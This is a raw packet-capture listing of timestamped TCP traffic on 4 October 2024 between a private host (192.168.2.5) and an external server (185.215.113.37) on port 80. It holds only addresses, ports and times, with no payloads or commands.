Oct 4, 2024 05:45:07.033802032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.033812046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.033847094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.033849955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.033881903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.033893108 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.033914089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.033926010 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.033946037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.033955097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.033987999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.033993006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.034024954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.034038067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.034065962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.034074068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.034106016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.034116983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.034138918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.034149885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.034169912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.034182072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.034203053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.034213066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.034235001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.034244061 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.034267902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.034280062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.034296036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.034310102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.034336090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.034346104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.034383059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.034392118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.034418106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.034425974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.034450054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.034460068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.034492016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.034511089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.034554958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.034560919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.034604073 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.034607887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.034651995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.034657001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.034684896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.034698963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.034718990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.034732103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.034750938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.034760952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.034781933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.034795046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.034813881 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.034822941 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.034843922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.034856081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.034877062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.034887075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.034908056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.034919024 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.034940958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.034950018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.034971952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.034984112 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.035003901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.035012960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.035036087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.035046101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.035070896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.035077095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.035099030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.035113096 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.035130024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.035140038 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.035161972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.035172939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.035190105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.035202026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.035222054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.035233974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.035254002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.035264015 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.035285950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.035296917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.035316944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.035326958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.035348892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.035360098 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.035381079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.035393000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.035429955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.035450935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.035485029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.035496950 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.035516024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.035526991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.035547972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.035559893 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.035578966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.035589933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.035612106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.035623074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.035644054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.035655022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.035686016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.035695076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.035737038 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.088392019 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.093255043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.315274000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.315299034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.315598011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.315774918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.315826893 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.315845013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.315860987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.315876007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.315890074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.315922022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.315994024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.316009045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.316024065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.316035986 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.316040039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.316080093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.316132069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.316147089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.316160917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.316174984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.316176891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.316189051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.316203117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.316215992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.316217899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.316231966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.316246033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.316255093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.316281080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.316282988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.316296101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.316308975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.316323042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.316324949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.316337109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.316351891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.316365004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.316397905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.316405058 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.316414118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.316427946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.316440105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.316442013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.316456079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.316471100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.316477060 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.316484928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.316498995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.316513062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.316518068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.316545963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.316569090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.316723108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.316736937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.316751003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.316764116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.316765070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.316780090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.316792965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.316798925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.316808939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.316823006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.316843987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.316863060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.316865921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.316884041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.316899061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.316905022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.316912889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.316926956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.316940069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.316946030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.316955090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.316968918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.316982985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.316999912 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.317003965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.317018986 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.317033052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.317034006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.317059994 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.317082882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.317100048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.317115068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.317128897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.317142010 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.317142963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.317157984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.317182064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.317209005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.317234993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.317250013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.317262888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.317284107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.317301989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.317306995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.317317963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.317332029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.317343950 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.317347050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.317361116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.317369938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.317384005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.317398071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.317411900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.317414045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.317442894 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.317466021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.317595005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.317610979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.317625046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.317637920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.317639112 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.317652941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.317667007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.317671061 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.317682981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.317697048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.317711115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.317723036 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.317739964 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.317754030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.317754030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.317770004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.317778111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.317784071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.317797899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.317811012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.317817926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.317826033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.317841053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.317853928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.317861080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.317868948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.317886114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.317893982 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.317900896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.317914963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.317920923 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.317930937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.317956924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.317986012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.317991972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.318001032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.318016052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.318028927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.318030119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.318054914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.318089962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.318129063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.318142891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.318156958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.318170071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.318171024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.318186045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.318197012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.318200111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.318213940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.318227053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.318234921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.318260908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.318270922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.318284035 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.318285942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.318300962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.318314075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.318321943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.318337917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.318345070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.318352938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.318367004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.318380117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.318386078 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.318411112 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.318434000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.403790951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.403815031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.403831005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.403898001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.403899908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.403917074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.403930902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.403934002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.403990030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.404537916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.404556990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.404581070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.404592037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.404597044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.404611111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.404633999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.404634953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.404654980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.404670000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.404683113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.404684067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.404700041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.404711008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.404715061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.404731989 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.404767990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.404798985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.404814005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.404840946 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.404872894 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.404928923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.404943943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.404958010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.404969931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.404973030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.404988050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.404994965 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.405011892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.405026913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.405033112 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.405041933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.405052900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.405056000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.405071020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.405085087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.405091047 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.405100107 CEST	80	49704	185.215.113.37	192.168.2.5
